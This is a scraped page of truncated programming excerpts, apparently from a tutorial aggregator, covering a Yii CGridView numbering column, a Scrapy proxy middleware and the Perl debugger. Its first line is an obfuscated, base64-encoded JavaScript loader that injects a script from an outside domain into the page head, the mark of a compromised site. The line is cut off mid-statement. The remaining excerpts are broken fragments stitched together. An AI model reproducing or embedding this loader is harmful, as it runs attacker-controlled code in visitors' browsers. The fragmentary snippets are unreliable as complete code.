(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Yii组件CGridView实现自动编号列
1
2
3
4
5
6
7
8
9
10
11
<?php
$this->widget('zii.widgets.grid.CGridView', array(
'dataProvider'=>$model->search(),
'filter'=>$model,
'columns'=>array(
array(
'name'=>'id',
'value'=>'$row', //这里使用$row可以获取当前行号
),
)
?>
1、...
Scrapy中使用代理
1.在Scrapy工程下新建“middlewares.py”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Importing base64 library because we'll need it ONLY in case if the proxy we are going to use requires authentication
import base64
# Start your middleware class
class ProxyMiddleware(object):
# overwrite process request
def process_request(self, request, spider):...
Perl Debugger Tutorial: 10 Easy Steps to Debug Perl Program
To debug a perl program, invoke the perl debugger using “perl -d” as shown below.
# perl -d ./perl_debugger.pl
To understand the perl debugger commands in detail, let us create the following sample perl program (perl_debugger.pl).
$ cat perl_debugger.pl
#!/usr/bin/perl -w
# Script to list out the filenames (in the pwd) that contains specific pattern.
#Enabling slurp mode
...